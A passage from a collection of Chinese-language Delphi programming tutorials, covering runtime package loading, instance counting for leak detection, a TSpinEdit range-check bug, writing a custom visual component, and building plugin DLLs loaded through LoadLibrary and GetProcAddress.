frmStudent: TForm;
begin
try
h := LoadPackage('student.bpl');
frmStudent := TForm(TComponentClass(FindClass('TfrmStudent')).Create(Application));
frmStudent.ShowModal;
finally
frmStudent.Free;
UnLoadPackage(h);
end;
end;
在这里先载入包student.bpl, 然后取得我们在包里注册的TfrmStudent类，
因为FindClass返回的值是TPersistentClass类型，需要强制转换为TComponentClass类
后创建相应的实例。窗体释放后再释放student.bpl

在这种方式下就不需要在frmMain引用其他的单元了（全局变量单元除外）。需要补充
一点的是，在这种方式下，工程classmgr.dpr也需要Build with runtime package,
否则会在FindClass时无法取得相应的类指针。只是student.bpl等包不需要在package
列表中，只需添加basic.bpl即可。

现在说说为什么要将uDM.pas和uGlobal.pas加入到basic.bpl包中。
大家都知道win32模式下Dll不能直接和主程序共享全局变量，package的高明之处
就在于package和主程序能共享全局变量，所要作的工作只是把相应的全局变量放到某
个包中，然后引用该全局变量的包和主程序只要引用该包即可。因为在这个程序中
uGlobal.pas中存放的是全局变量，主程序和其他包都需要引用这些全局变量，故将它
加入basic.bpl中，uDM中的数据模块也是一个全局窗体变量，也需要加入basic.bpl中。

所以在其他包的Requires中都有basic.bpl

3、总结

================= 静态调用模式 =====================

一些关系：

classmgr.dpr
Build with runtime package: student.bpl, score.bpl, query.bpl, basic.bpl

uMain.pas中：
uses
uGlobal, uStudent, uScore, uQuery;
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^不能删除

student.bpl
requires: basic.bpl

score.bpl
requires: basic.bpl

query.bpl
requires: basic.bpl

basic.bpl
requires: vcl50.bpl, vcldb50.bpl, vclado50.bpl

================= 动态调用模式 =====================

一些关系：

classmgr.dpr
Build with runtime package: basic.bpl
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^一定要

uMain.pas中：
uses
uGlogal, uStudent, uScore, uQuery;
^^^^^^^^^^^^^^^^^^^^^^^^^这几个单元不需要，但uGlobal仍需要

student.bpl
requires: basic.bpl

score.bpl
requires: basic.bpl

query.bpl
requires: basic.bpl

basic.bpl
requires: vcl50.bpl, vcldb50.bpl, vclado50.bpl

================= 两种模式的比较 =====================

理论上讲动态调用方式下会比较节省资源，因为相应的包只在需要的时候才
载入内存，但需要牺牲速度为代价。
但在实际使用中，项目窗体可能很多，包也可能有很多，频繁的载入包可能
会使开发者陷入一个比较混乱的状态，可能有的包载入了而没有释放掉，而且包
在什么时候释放也需要很好的控制，这样就不能达到节省资源的目的，相反却增
加了编程的复杂性和牺牲了速度。
另外，动态调用还有一个很明显的缺点是：调用时无法直接知道所取得的某
个类是否有某个方法或属性。
比如我们上面的例子中的frmStudent窗体有一个公有方法：GetStdInfo;
在动态调用时：
var
frmStudent: TForm;
begin
h := LoadPackage('student.bpl');
frmStudent := TForm(TComponentClass(FindClass('TfrmStudent')).Create(Application));
frmStudent.ShowModal;

这里我们就不能写入frmStudent.GetStdInfo这样的代码，因为事实上frmStudent
只是TForm类的一个实例，没有GetStdInfo这样的方法。在这方面动态package和COM有
点类似，但使用COM时编译器允许使用Variant方式来调用一个未知的方法，但Package
却不行。在静态调用时就不存在这种问题，因为代码的实现方式和不使用包时完全一样。

一点补充说明：不能在包之间交叉包含(Contains)某个单元，比如：在basic.bpl中已经
包含了uDM.pas单元，在student.bpl中就不能再包含uDM.pas这个单元，否则编译是不能
通过。

4、建议

我个人的意见是使用静态调用。但如果项目很大，package也就失去了她优势了，
到那个时候我想COM+/MTS会是一个比较好的选择。

欢迎对包感兴趣的朋友和我交流，email: wjjxm@etang.com; QQ: 3496469


使用Class类方法检查内存泄漏

 当我们在运行时创建了对象后，我们需要检查我们是否已经释放了对象，这时我们可以使用class类方法。

class类型的方法不需要实例就可以调用。I wish we could define class objects as well, but they doesn´t exist in Object Pascal, so we will do a trick, we are going to define a variable in the implementation section of the unit, this variable will hold the number of instances the class will have in a moment in time. For example say you need to create instances of a class named TFoo, so you create the following Unit.

We will define two class procedures: AddInstance(to increse the counter of instances) and ReleaseInstance(to decrese the number of instances), these are called in the constructor and the destructor acordingly. Finally we define a class function NumOfInstances which returns the actual number of instances.

Add a Initilialization and a Finalization section to the Unit, in the Finalization section ask if the number of instances is <> 0, if this is the case
you known that you didin´t destroy all the objects that you created.

unit U_Foo;

interface

uses
Classes, Windows, SysUtils;

type
TFoo = class
private
class procedure AddInstance;
class procedure ReleaseInstance;
public
constructor Create;
destructor Destroy;override;
class function NumOfInstances: Integer;
end;

implementation

var
TFoo_Instances: Integer = 0;

{ TFoo }

class procedure TFoo.AddInstance;
begin
Inc(TFoo_Instances);
end;//end of TFoo.AddInstance

constructor TFoo.Create;
begin
AddInstance;
end;//end of TFoo.Create

destructor TFoo.Destroy;
begin
ReleaseInstance;
inherited;
end;//end of TFoo.Destroy

class function TFoo.NumOfInstances: Integer;
begin
Result := TFoo_Instances;
end;//end of TFoo.NumOfInstances

class procedure TFoo.ReleaseInstance;
begin
Dec(TFoo_Instances);
end;//end of TFoo.ReleaseInstance

initialization

finalization

if TFoo_Instances <> 0 then
MessageBox(0,
PChar(Format('%d instances of TFoo active', [TFoo_Instances])),
'Warning', MB_OK or MB_ICONWARNING);

end.


带语音的对话框

VCL里的MessageDlg没有声音，而标准的windows消息对话框是带声音的
可以用下面的函数解决：

function MsgDlg (const msg: string; atype: TMsgDlgType; abuttons:
TMsgDlgButtons; helpctx: Longint): Word;
var mb: CARDINAL;
begin
case AType of
mtWarning:      mb:=
MB_ICONEXCLAMATION;
mtError:        mb:= MB_ICONHAND;
mtInformation:  mb:= MB_ICONASTERISK;
mtConfirmation: mb:=
MB_ICONQUESTION;
else            mb:=
$0FFFFFFFF;
end;
MessageBeep (mb);
MsgDlg:= MessageDlg (msg, atype,
abuttons, helpctx);
end


TSpinEdit的漏洞

作者:Fox_110

最近在使用Samples页中的SpinEdit控件时，发现SpinEdit的最大值(MaxValue)和最小值(MinValue)的处理有漏洞。当最大值和最小值相等且不为零时，设置形同虚设；当最大值小于最小值时，SpinEdit的取值为最大值和最小值。查看Spin.pas时发现，SpinEdit的CheckValue函数如下：

function TSpinEdit.CheckValue (NewValue: LongInt): LongInt;

begin

Result := NewValue;

if (FMaxValue <> FMinValue) then

begin

if NewValue < FMinValue then

Result := FMinValue

else if NewValue > FMaxValue then

Result := FMaxValue;

end;

end;

可见没有对MaxValue = MinValue 且MinValue <> 0 及 MaxValue < MinValue 进行处理。所以在使用SpinEdit控件时应该在程序中对上述两种情况进行必要的处理。

我在发现这个问题的之前花费了不少时间调试程序，以为是代码的问题。结果发现是个BUG。这个问题可能早就有人发现并提出来了，只不过我没有看到而已。不过我还是把它贴出来，希望其他朋友不要在这个问题上浪费时间。呵呵，其实私底下还是想赚分的:)。


编写自己的可视化控件

2001-03-09· 宋梦?·yesky

    可视化控件(Visual Component)实际上就是一个类(class)，要编写一个类，可以直接在*.pas文件中编写。但是要编写控件，则必须使用包(package)。从File菜单中选择New，新建一个Package，这就是存放和安装控件用的包。然后单击Package窗口中的Add按钮，添加一个元件(Unit)。

    在弹出的对话框最上方选择New Component。因为一个控件的所有属性、方法、事件不可能都由自己编，所以就需要选择祖先类（或者叫做"父类"或"基类"），然后再在其上面添加自己的属性、方法、事件。在Ancestor type后的下拉框中选择所需的祖先类。由于编写可视化控件必须要画图，所以选择TGraphicControl作为祖先类。再在Class Name框中输入新控件（类）的名称，一般以"T"开头。Palette Page是用来选择新控件在Delphi的窗口中的控件页面名称，例如"Standard"，这个可以自己取。在Unit File Name中添好新控件文件的路径及文件名，单击OK按钮。新的控件便加入了。现在可以为该控件编写代码了。

    下面以编写一个可以自定义图片的滚动条为例，说明编写可视化控件的方法。

    按照上面的方法，选择TGraphicControl为祖先类，新控件的名称是TPigHorizontalScroller（小猪水平滚动条）。选择好文件路径和文件名后，单击OK按钮，开始编写代码。

    每一个控件，都会被创建（Create）和删除（Destroy），所以必须首先编写这两个过程。对于控件中的每一个过程，都必须在前面先定义，然后再在后面编写。定义的过程或属性有三种：一、在private后定义的是属于控件内部使用的，使用该控件的人无法看到；二、在protected后定义的一般是看不到的，只在别人使用该控件作为祖先类编写其它控件时才可见；三、在public后定义的只允许别人在程序中调用；四、在published后定义的可以在属性窗口（Object Inspector）中看到。由于创建和删除过程除了在编程过程中建立控件时自动执行外，还可能在程序运行过程中动态创建控件时被调用，所以把它定义在public后⑴。（该序号表示次步骤在所附源程序中的代码的位置，下同）现在也许还不知到应该在这两个过程中编写什么，如何去编。我们在下面将会讲到。

    我们首先为这个控件添加一些属性。我们定义一个Max属性用于设置或读取滚动条的最大值。因为在程序中一般不直接使用属性，所以要定义一个变量，和该属性对应起来，一边修改或读取其值。因为它只在控件内部使用，所以我们把它定义在private后⑵。（一般与属性相关联的变量都以"F"开头，例如FMax）定义好变量后，再定义属性。这个属性需要再Object Inspector窗口中可见，所以把它定义再published后⑶。定义的语法是：

    property <属性名>:<类型> read <读取该属性时对应的变量> write <写入该属性时对应的变量或过程>

    其它的变量和属性也类似的定义（例如Min最小值、Value当前值等）。下面我们定义几个属性和变量，用于设置滚动条的图片（因为图片变量比较特殊，所以单独讲一下）。我们把LeftButtonUpPicture（向左按钮图片）、LeftButtonDownPicture（向左按钮按下图片）等定义为TBitmap类型（一定要定义相对应的变量）。

    大家一定注意到了，在所附的源程序中，定义这几个属性时，read后所指定的读取属性时对应的变量是F…，而write后指定的写入该属性时对应的不是一个变量，而是一个Set…之类的东西，这是一个自定义的过程。作为该功能的过程的定义为：

    procedure <过程名>(Value: <被设置的属性的值的类型>)

    因为执行写入该类属性的时候需要做其它的事情，所以不能光用一个变量来处理，应该用一个过程来处理。这中过程一般定义在protected后。在该类过程中，使用一个在⑷处这样一个语句来给TBitmap类型的变量来赋值，这是由于该类型的变量不能直接赋值而采用的。

    定义完这些TBitmap类型的变量的属性后，上面讲的create过程和destroy过程中就需要编写代码了。因为TBitmap也是一个类，所以在create过程中必须创建⑸，在destroy过程中必须释放掉(free)⑹。这里⑺所指的inherited语句是用于指明该过程是从祖先类类中继承来的。（这个一定不能掉）。

    因为我们编写的是可视化控件，所以必须在控件上画图。我们这个控件的祖先类TGraphicControl中封装有一个Canvas（画布）对象，我们可以直接使用它来画图。如果你对画布的使用还不太熟悉，最好去找一本书来看一看。

    下面要做的工作就是画图了。如何在控件上画图呢？祖先类TGraphicControl中有一个Paint事件，当控件需要重画时便会自动触发。我们现在要做的就是要为这个事件编写一段程序。首先在protected后定义一个Canvas对象。由于它是祖先类中已有的，所以不需要加任何说明⑻。我们将使用这个对象来画图。接着，就要定义一个Paint过程，编写绘制控件的代码。先在public后定义Paint过程。由于它是由祖先类触发的，而不是由用户调用的，所以后面必须加上override，否则，该控件将会由于Paint过程永远不会被调用而不成为可视化控件⑼。下面我们就来编写Paint过程的代码⑽。

    该文章所附的源程序的Paint过程中的T_Height等变量是用来保存滚动条中按钮、滑块等的大小的，这部分程序和普通的Application中的程序差别不大，大部分都是对画布进行操作，相信大家一看就明白。值得注意的是下面对FAutoSize变量的判断⑾,FAutoSize是和该控件的属性AutoSize相关联的布尔型变量，是用来设置这个控件的大小是否随图片的大小而变化的。注意，在控件的代码中，一般都不直接调用属性，而是使用与其相对应的的变量。

    程序编到这里，就算是终于给自己的新控件做了一个外型了，不过它还不能滚动。现在我们来编写鼠标事件，让我们能够操纵它。鼠标事件的过程的定义和Paint过程很相似，只是后面要加上参数说明⑿,鼠标事件分为MouseDown、MouseMove和MouseUp三个，在定义后面都要加上override。接下来在后面编写它的代码。注意：这里的鼠标事件是Mouse…，而不是通常的OnMouse…。可是在⒀处的定义是干什么用的呢？这里的事件定义，都是给用户使用的，也就是说，当使用该控件时，会在Object Inspector中的Event页面中显示出来。

    这些鼠标事件的代码也非常简单，判断鼠标的坐标，在画布上画出相应的图片等，并同时触发相应的事件。值得注意的是，在调用自定义事件时，都要先用⒁处的这样一个语句来判断用户是否已经为该事件编写代码。这一点非常重要，否则会调用出错。

    大家注意到了，刚才所调用的事件都是自定义的，定义的方法也很简单，和定义属性差不多，只是类型时TNotifyEvent罢了。

    TNotifyEvent是默认事件，其定义为：

    TNotifyEvent = procedure(Sender: TObject)

    如果你要定义另外形式的事件，就必须这样：先在type后编写

    <事件类型名称> = procedure(<参数>:<类型>)

例如：

    TCustomEvent = procedure(a: Integer; b:String);

然后在public后定义：

     <事件名称>:<事件类型名称>

例如：

    AnEvent: TCustomEvent;

    看完这些，这整个程序你应该理解了吧。如果编译或运行出错，注意检查以下几点：

        １、create和destroy过程中是否有inherited语句；

        ２、TBitmap类型的变量create和free了没有；

        ３、过程前有没有控件名，例如：TPigHorizontalScroller.MoseMove

    判断鼠标是否进入或离开控件的方法：

定义如下的过程：

    procedure MouseEnter(var Msg: TMessage); message CM_MOUSEENTER;

    procedure MouseLeave(var Msg: TMessage); message CM_MOUSELEAVE;

    再在下面编写代码就行了。这个方法用于编写三态按钮很有用，有兴趣的话，（将来）可以到我的主页下载Pig VCL Package（小猪可视化控件包），参考其中的TPigButton控件。（现在还没有，但是将来有了，欢迎大家下载）

下载源码


Delphi插件创建、调试与使用应用程序扩展

翻译 ： MiracleZ
有没有使用过Adobe Photoshop？如果用过，你就会对插件的概念比较熟悉。对外行人来说，插件仅仅是从外部提供给应用程序的代码块而已（举个例子来说，在一个DLL中）。一个插件和一个普通DLL之间的差异在于插件具有扩展父应用程序功能的能力。例如，Photoshop本身并不具备进行大量的图像处理功能。插件的加入使其获得了产生诸如模糊、斑点，以及其他所有风格的奇怪效果，而其中任何一项功能都不是父应用程序自身所具有的。
对于图像处理程序来说这很不错，可是为什么要花偌大的力气去完成支持插件的商业应用程序呢？假设，我们举个例子，你的应用程序要产生一些报表。你的客户肯定会一直要求更新或者增加新的报表。你可以使用一个诸如Report Smith的外部报表生成器，这是个不怎么样的解决方案，需要发布附加的文件，要对用户进行额外的培训，等等。你也可以使用QuickReport，不过这会使你身处版本控制的噩梦之中——如果每改变一次字体你就要Rebuild你的应用程序的话。
然而，只要你把报表做到插件中，你就可以使用它。需要一个新的报表吗？没问题，只要安装一个DLL，下次应用程序启动时就会看见它了。另外一个例子是处理来自外部设备（比如条形码扫描器）的数据的应用程序，为了给用户更多的选择，你不得不支持半打的各种设备。通过将每种设备接口处理例程写成插件，不用对父应用程序作任何变动就可以获得最大程度的可伸缩性。

入门

在开始写代码之前最重要的事情就是搞清楚你的应用程序到底需要扩展哪些功能。这是因为插件是通过一个特定的接口与父应用程序交互的，而这个接口将根据你的需要来定义。在本文中，我们将建立3个插件，以便展示插件与父应用程序相交互的几种方式。
我们将把插件制作成DLL。不过，在做这项工作之前，我们得先制作一个外壳程序来载入和测试它们。图1显示的是加载了第一个插件以后的测试程序。第一个插件没有完成什么大不了的功能，实际上，它所做的只是返回一个描述自己的字符串。不过，它证明了很重要的一点——不管有没有插件应用程序都可以正常运行。如果没有插件，它就不会出现在已安装的插件列表中，但是应用程序仍然可以正常的行使功能。

图1：插件测试外壳程序

我们的插件外壳程序与普通应用程序之间的唯一不同就在于工程源文件中出现在uses子句中的Sharemem单元和加载插件文件的代码。任何在自身与子DLL之间传递字符串参数的应用程序都需要Sharemem单元，它是DelphiMM.dll（Delphi提供该文件）的接口。要测试这个外壳，需要将DelphiMM.dll文件从Delphi\Bin目录复制到path环境变量所包含的路径或者应用程序所在目录中。发布最终版本时也需要同时分发该文件。
插件通过LoadPlugins过程载入到这个测试外壳中，这个过程在主窗口的FormCreate事件中调用，见图2。该过程使用FindFirst和FindNext函数在应用程序所在目录中查找插件文件。找到一个文件以后，就使用图3所示的LoadPlugins过程将其载入。
{ 在应用程序目录下查找插件文件 }
procedure TfrmMain.LoadPlugins;
var

sr: TSearchRec;
path: string;

Found: Integer;
begin

path := ExtractFilePath(Application.Exename);
try

Found := FindFirst(path + cPLUGIN_MASK, 0, sr);
while Found = 0 do begin
LoadPlugin(sr);

Found := FindNext(sr);
end;

finally
FindClose(sr);

end;
end;

图 2： 寻找插件

{ 加载指定的插件 DLL. }
procedure TfrmMain.LoadPlugin(sr: TSearchRec);
var

Description: string;
LibHandle: Integer;

DescribeProc: TPluginDescribe;
begin

LibHandle := LoadLibrary(Pchar(sr.Name));
if LibHandle <> 0 then
begin

DescribeProc := GetProcAddress(LibHandle,
cPLUGIN_DESCRIBE);

if Assigned(DescribeProc) then
begin

DescribeProc(Description);
memPlugins.Lines.Add(Description);
end

else
begin

MessageDlg('File "' + sr.Name +
'" is not a valid plug-in.',
mtInformation, [mbOK], 0);
end;

end
else

MessageDlg('An error occurred loading the plug-in "' +
sr.Name + '".', mtError, [mbOK], 0);
end;

图 3： 载入插件

LoadPlugin方法展示了插件机制的核心。首先，插件被写成DLL。其次，通过LoadLibrary API它被动态的加载。一旦DLL被加载，我们就需要一个访问它所包含的过程和函数的途径。API调用GetProcAddress提供这种机制，它返回一个指向所需例程的指针。在我们这个简单的演示中，插件仅仅包含一个名为DescribePlugin的过程，由常数cPLUGIN_DESCRIBE指定（过程名的大小写非常重要，传递到GetProcAddress的名称必须与包含在DLL中的例程名称完全一致）。如果在DLL中没有找到请求的例程，GetProcAddree将返回nil，这样就允许使用Assigned函数测定返回值。
为了以一种易用的方式存储指向一个函数的指针，有必要为用到的变量创建一个特定的类型。注意，GetProcAddress的返回值被存储在一个变量中，DescribeProc，属于TpluginDescribe类型。下面是它的声明：
type

TPluginDescribe = procedure(var Desc: string); stdcall;
由于过程存在于DLL内部，它通过标准调用转换编译所有导出例程，因此需要使用stdcall指示字。这个过程使用一个var参数，当过程返回的时候它包含插件的描述。
要调用刚刚获得的过程，只需要使用保存地址的变量作为过程名，后面跟上任何参数。就我们的例子而言，声明：
DescribeProc(Description)

将会调用在插件中获得的描述过程，并且用描述插件功能的字符串填充Description变量。

构造插件

我们已经创建好了父应用程序，现在该轮到创建我们希望加载的插件了。插件文件是一个标准的Delphi DLL，所以我们从Delphi IDE中创建一个新DLL工程，保存它。由于导出的插件函数将用到字符串参数，所以要在工程的uses子句中把Sharemen单元放在最前面。图4列出的就是我们这个简单插件的工程源文件。
uses

Sharemem, SysUtils, Classes,
main in 'main.pas';

{$E plg.}

exports

DescribePlugin;

begin

end.

图 4： 简单插件的工程源文件
虽然插件是一个DLL文件，但是没有必要一定要给它一个.DLL的扩展名。实际上，一个原因就足以让我们有理由改变扩展名：当父应用程序寻找要加载的文件时，新的扩展名可以作为特定的文件掩模。通过使用别的扩展名（我们的例子使用了*.plg），你可以在一定程度上确信应用程序只会载入相应的文件。编译指示字$X可以实现这个改变，也可以通过Project Options对话框的Application页来设置扩展名。
第一个例子插件的代码是很简单的。图5显示了包含在一个新单元中的代码。注意，DescribePlugin原型与外壳应用程序中的TpluginDescribe类型相一致，使用附加的export保留字指定该过程将被导出。被导出的过程名称也将会出现在主工程源代码的exports段中（在图4中列出）。
unit main;

interface

procedure DescribePlugin(var Desc: string);
export; stdcall;

implementation

procedure DescribePlugin(var Desc: string);
begin

Desc := 'Test plugin v1.00';
end;

end.

图 5： 例子插件的主程序

在测试这个插件之前，要先把它复制到主应用程序的路径下。最简单的办法就是在主目录的子目录下创建插件，然后把输出路径设置为主路径（Project Options对话框的Directories/Conditionals也可以作这个设置）。

调试

现在介绍一下Delphi 3中一个较好的功能：从IDE中调试DLL的能力。在DLL工程中可以通过Run paramaters对话框指定某程序为宿主应用程序，这就是指向将调用DLL的应用程序的路径（在我们这个例子中，就是刚刚创建的测试外壳程序）。然后你就可以在DLL代码中设置断点并且按F9运行它——就像在一个普通应用程序中做的那样。Delphi会运行指定的宿主程序，并且，通过编译带有调试信息的DLL，把你指引到DLL代码内的断点处。

延伸父应用

这个简单的插件不错，不过它不能做什么有用的事情。第二个例子就是纠正这个问题。这个插件的目标就是在父应用程序的主菜单中加入一个项目。这个菜单项目，当被单击时，就会执行插件内的一些代码。图6显示外壳程序的改进版，两个插件都已经加载。在这个版本的外壳程序中，一个名为Plug-in的新菜单项目，被添加到主菜单中。插件会在运行时加入一个菜单项。

图6：加载了两个插件的外壳程序的改进版

为了实现这个目的，我们必须在插件DLL中定义第二个接口。现有的DLL只导出了一个过程，DescribePlugin。第二个插件将声明一个叫做InitPlugin的过程。不过，在这个过程可以在主应用程序中看到以前，必须修改LoadPlugin来配合它。
图7所示的代码展示了改进的过程。
procedure TfrmMain.LoadPlugin(sr: TSearchRec);
var

Description: string;
LibHandle: Integer;

DescribeProc: TPluginDescribe;
InitProc: TPluginInit;
begin

LibHandle := LoadLibrary(Pchar(sr.Name));
if LibHandle <> 0 then
begin

// 查找 DescribePlugin.
DescribeProc := GetProcAddress(LibHandle,
cPLUGIN_DESCRIBE);

if Assigned(DescribeProc) then
begin

// 调用 DescribePlugin.
DescribeProc(Description);
memPlugins.Lines.Add(Description);
// 查找 InitPlugin.

InitProc := GetProcAddress(LibHandle, cPLUGIN_INIT);
if Assigned(InitProc) then
begin

// 调用 InitPlugin.
InitProc(mnuMain);

end;
end

else
begin

MessageDlg('File "' + sr.Name +
'" is not a valid plugin.',
mtInformation, [mbOK], 0);
end;

end
else

begin
MessageDlg('An error occurred loading the plugin "' +
sr.Name + '".', mtInformation, [mbOK], 0);
end;

end;
图 7： 改进过的LoadPlugin方法
如你所见，当GetProcAddress第一次查找调用描述过程之后，又调用了一次GetProcAddress。这一次，我们要寻找的是常量cPLUGIN_INIT，定义如下：
const

cPLUGIN_INIT = 'InitPlugin';
返回值存储在TpluginInit类型的变量中，定义如下：
type

TPluginInit = procedure(ParentMenu: TMainMenu); stdcall;
当InitPlugin方法被执行时，父应用程序的主菜单被当作一个参数传递给它。这个过程可以按照自己的意愿修改菜单。由于所有GetProcAddress的返回值都用assigned测试，新版本的LoadPlugin过程仍然会加载不包含InitPlugin过程的第一个插件。在这个过程中第一次调用寻找DescribePlugin方法会通过，第二次寻找InitPlugin会无响应失败。
现在新的接口已经定义好了，可以为新的InitPlugin方法编写代码了。像原先一样，新插件的实现代码存在于一个单独的单元中。图8显示了修改过的包含InitPlugin方法的main.pas。
unit main;

interface

uses Dialogs, Menus;

type

THolder = class
public

procedure ClickHandler(Sender: TObject);
end;

procedure DescribePlugin(var Desc: string);
export; stdcall;

procedure InitPlugin(ParentMenu: TMainMenu);
export; stdcall;

var

Holder: THolder;

implementation

procedure DescribePlugin(var Desc: string);
begin

Desc := 'Test plugin 2 - Menu test';
end;

procedure InitPlugin(ParentMenu: TMainMenu);
var

i: TMenuItem;
begin

// 创建新菜单项.
i := NewItem('Plugin &Test', scNone, False, True,
Holder.ClickHandler, 0, 'mnuTest');
ParentMenu.Items[1].Add(i);
end;

procedure THolder.ClickHandler;
begin

ShowMessage('Clicked!');
end;

initialization

Holder := THolder.Create;

finalization
Holder.Free;

end.

图 8： 第二个插件的代码
很明显，对原始插件的第一个改变就是增加了InitPlugin过程。像原先一样，带有export关键字的原型被加入到单元顶端的列表中，过程名也被加入到工程源代码的exports子句列表中。这个过程使用NewItem函数创建一个新的菜单项，返回值是TmenuItem对象。新菜单项通过下列语句被加入到应用程序主菜单中：
ParentMenu.Items[1].Add(I);
在测试外壳主菜单上的Items[1]是菜单项Plug-in，所以这个语句在Plugin菜单条上添加一个叫Plug-in Test的菜单项。
为了处理对新菜单项的响应，作为它的第五个参数，NewItem可以接受一个TNotifyEvent类型的过程，这个过程将在菜单项被点击时调用。不幸的是，按照定义，这种类型的过程是一个对象方法，然而在我们的插件中并没有对象。如果我们想用通常的指针来指向函数，那么得到的将只会是Delphi编译器的抱怨。所以，唯一的解决办法就是创建一个处理菜单点击的对象。这就是Tholder类的用处。它只有一个方法，是一个叫做ClickHandler的过程。一个叫做Holder的全局变量，在修改过的main.pas的var段中被声明为Tholder类型，并且在单元的initialization段中被创建。现在我们就有一个对象了，我们可以拿它的方法（Holder.ClickHandler）当作NewItem函数的参数。
搞了这一通，ClickHandler除了显示一个“Clicked!”消息对话框以外什么以没干。也许这不怎么有趣，不过它仍然证明了一点：插件DLL成功的修改了父应用的主菜单，表现了它的新用途。并且如同第一个例子一样，不管这个插件在不在应用程序都能执行。
由于我们创建了一个对象来处理菜单点击，那么在不再需要这个插件时，就要释放这个对象。修改后的单元中会在finalization段中处理这件事情。Finalization端时与initialization段相对应的，如果前面有一个initialization段，那么在应用程序终止时finalization段一定会得到执行。把下面的语句
Holder.Free

加到finalization段中，以确保Holder对象会被正确的释放。
显而易见，虽然这个插件只是修改了外壳应用的主菜单，但是它可以轻易地操纵传递到InitPlugin过程中的任何其他对象。如果有必要，插件也可以打开自己的对话框，向列表框（List boxes）和树状视图（tree views）中添加项目，或者在画布（canvas）中绘画。

事件驱动的插件

到现在为止我们所描述的技术可以产生一种通用的扩展应用程序的方法。通过增加新菜单、窗体和对话框，就可以实现全新的功能而不必对父应用做任何修改。不过仍然有一个限制：这只是一种单侧（one-sided）机制。正如所看到的，系统依赖用户的某些操作才能启动插件代码，比如点击菜单或者类似的动作。代码运行起来以后，又要依靠另外一个用户动作来停止它，例如，关闭插件可能已经打开的窗体。克服这种缺陷的一种可行的方法就是使插件可以响应父应用中的动作——模仿在Delphi中工作地很好的事件驱动编程模型的确有效。
在最后一个例子插件中，我们将创建一种机制，插件可以藉此响应父应用中产生的事件。通常情况下，可以通过判定需要触发哪些事件、在父应用中为每个事件创建一个Tlist对象来实现。然后每个Tlist对象都被传递到插件的初始化过程中，如果插件想在某个事件中执行动作，它就把负责执行的函数地址加入到对应的TList中。父应用在适当的时刻循环这些函数指针的列表，按次序调用每个函数。通过这种方法，就为多个插件在同一事件中执行动作提供了可能。
应用程序产生的事件完全依赖于程序已确定的功能。例如，一个TCP/IP网络应用程序可能希望通过TclientSocket的onRead事件通知插件数据抵达，而一个图形应用程序可能对调色板的变化更感兴趣。
为了说明事件驱动的插件应答的概念，我们将创建一个用于限制主窗口最小尺寸的插件。这个例子有点儿造作，因为把这个功能做到应用程序里边会比这简单的多。不过这个例子的优点在语容易编码而且易于理解，而这正是本文想要做到的。
很明显，我们要做的第一件事情就是决定到底要产生哪些事件。在本例中，答案很简单：要限制一个应用程序窗口的尺寸，有必要捕获并且修改Windows消息WM_GETMINMAXSINFO。因此，要创建一个完成这项功能的插件，我们必须捕获这个消息并且在这个消息处理器中调用插件例程。这就是我们要创建的事件。
接下来我们要创建一个TList来处理这个事件。在主窗体的initialization段中将会创建lstMinMax对象，然后，创建一个消息处理器来捕获Windows消息WM_GETMINMAXINFO。图9中的代码显示了这个消息处理器。
{ 捕获 WM_GETMINMAXINFO. 为每个消息调用插件例程. }
procedure TfrmMain.MinMaxInfo(var msg: TMessage);
var

m: PMinMaxInfo; file://在 Windows.pas 中定义.
i: Integer;

begin
m := pointer(msg.Lparam);
for i := 0 to lstMinMax.count -1 do begin
TResizeProc(lstMinMax[i])(m.ptMinTrackSize.x,
m.ptMinTrackSize.y);
end;

end;
图 9: WM_GETMINMAXINFO 的消息处理器
外壳应用的LoadPlugin过程必须再次修改以便调用初始化例程。这个新初始化函数把我们的TList当作参数接受，在其中加入修改消息参数的函数地址。图10显示了LoadPlugin过程的最终版本，它可以执行到目前为止所讨论的全部几个插件的初始化工作。
{ 加载指定的插件DLL. }

procedure TfrmMain.LoadPlugin(sr: TSearchRec);
var

Description: string;
LibHandle: Integer;

DescribeProc: TPluginDescribe;
InitProc: TPluginInit;
InitEvents: TInitPluginEvents;
begin

LibHandle := LoadLibrary(Pchar(sr.Name));
if LibHandle <> 0 then
begin

// 查找 DescribePlugin.
DescribeProc := GetProcAddress(LibHandle,
cPLUGIN_DESCRIBE);

if Assigned(DescribeProc) then
begin

// 调用 DescribePlugin.
DescribeProc(Description);
memPlugins.Lines.Add(Description);
file://查找InitPlugin.
InitProc := GetProcAddress(LibHandle, cPLUGIN_INIT);
if Assigned(InitProc) then
begin

file://调用InitPlugin.
InitProc(mnuMain);

end;
// 为第三方插件查找 InitPluginEvents
InitEvents := GetProcAddress(LibHandle,
cPLUGIN_INITEVENTS);
if Assigned(InitEvents) then
begin

// 调用 InitPlugin.
InitEvents(lstMinMax);
end;

end
else

begin
MessageDlg('File "' + sr.Name +
'" is not a valid plugin.',
mtInformation, [mbOK], 0);
end;

end
else

begin
MessageDlg('An error occurred loading the plugin "' +
sr.Name + '".', mtInformation, [mbOK], 0);
end;

end;
图 10: LoadPlugin 的最终版本
最后一步是创建插件自身。如同前面的几个例子，插件展示一个标志自身的描述过程。它也带有一个初始化例程，在本例中只是接受一个TList作为参数。最后，它还包含一个没有引出（Export）的历程，叫做AlterMinTrackSize，它将修改传递给它的数值。图11显示了最终插件的完整代码。
unit main;

interface

uses Dialogs, Menus, classes;

procedure DescribePlugin(var Desc: string);
export; stdcall;

procedure InitPluginEvents(lstResize: TList);
export; stdcall;

procedure AlterMinTrackSize(var x, y: Integer); stdcall;

implementation

procedure DescribePlugin(var Desc: string);
begin

Desc := 'Test plugin 3 - MinMax';
end;

procedure InitPluginEvents(lstResize: TList);
begin

lstResize.Add(@AlterMinTrackSize);
end;

procedure AlterMinTrackSize(var x, y: Integer);
begin

x := 270;
y := 220;

end;

end.
图 11: 最终插件的代码

InitPluginEvents过程是这个插件的初始化例程。它接受一个TList作为参数。这个TList就是在父应用程序中创建的保存相应函数地址的列表。下面的语句：
lstResize.Add(@AlterMinTrackSize);
把AlterMinTrackSize函数的地址加入到了这个列表中。它被声明为类型stdcall以便与其他过程相配，不过用不着export指示字。由于函数被直接通过它的地址调用，所以也就没有必要按照通常的方式把它从DLL中引出。
所以，事件序列如下所列：

1、 在应用程序初始化时，创建一个TList对象。
2、 在启动时这个列表被传递到插件的初始化过程InitPluginEvents中。
3、 插件过程把一个过程的地址加入到列表中。
4、 每次窗口大小改变时所产生的Windows消息WM_GETMINMAXINFO被我们的应用程序所捕获。
5、 该消息被我们的消息处理器TfrmMain.MainMaxInfo所处理，见图10。
